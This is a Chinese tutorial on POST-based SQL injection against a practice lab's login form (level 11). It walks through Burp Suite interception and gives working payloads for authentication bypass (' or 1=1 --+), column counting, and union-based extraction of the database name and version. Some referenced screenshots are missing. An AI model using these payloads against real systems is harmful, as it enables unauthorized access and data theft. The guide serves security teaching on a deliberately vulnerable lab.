
POST注入原理

原理介绍
进入第十一关靶场,我们发现是一个登录窗口,随意提交数据,显示

在url地址进行get提交,发现一直是登录窗口,页面无其他变化,想到post提交注入。
通关原理
打开靶场源码文件。

查看提交方式。

我们可以添加语句来查看我们提交语句后后台查询的语句
echo $sql;

进行注入
可以使用hackbar插件进行post提交注入,也可以使用burp suite进行注入,本次使用burpsuite
随意提交参数

报错登陆失败,图片中黄色部分是因为前面添加的echo $sql;在实际的环境中,我们需要经验来猜测和尝试,加上是方便大家理解原理。
抓包发送到burpsuite。抓包数据

将其发送到Repeater模块。
判断闭合方式,列数,回显位置
因为我们查看过源码,知道闭合方式为单引号,在实际测试中可以尝试各种闭合方式。比如','),')),","),"))等。
post提交语句
.>uname=asf’ or 1=1 --+ &passwd=asdg&submit=Submit

可以看到 SELECT username, password FROM users WHERE username=‘asf’ or 1=1 --+’ and password=‘’ LIMIT 0,1为查询语句,这是web服务器接收到的,再进行数据库查询比对时,实际语句为
SELECT username, password FROM users WHERE username='asf’ or 1=1;
判断列数
uname=asf’ order by 4 --+ &passwd=asdg&submit=Submit

4的时候不对,当为2时,显示正确,列数为2.
回显位置:
uname=asf’ union select 1,2 --+ &passwd=asdg&submit=Submit
查询数据库
uname=asf ’ union select database(),version() --+ &passwd=asdg&submit=Submit

爆数据库


其他操作与union注入语句大差不差



















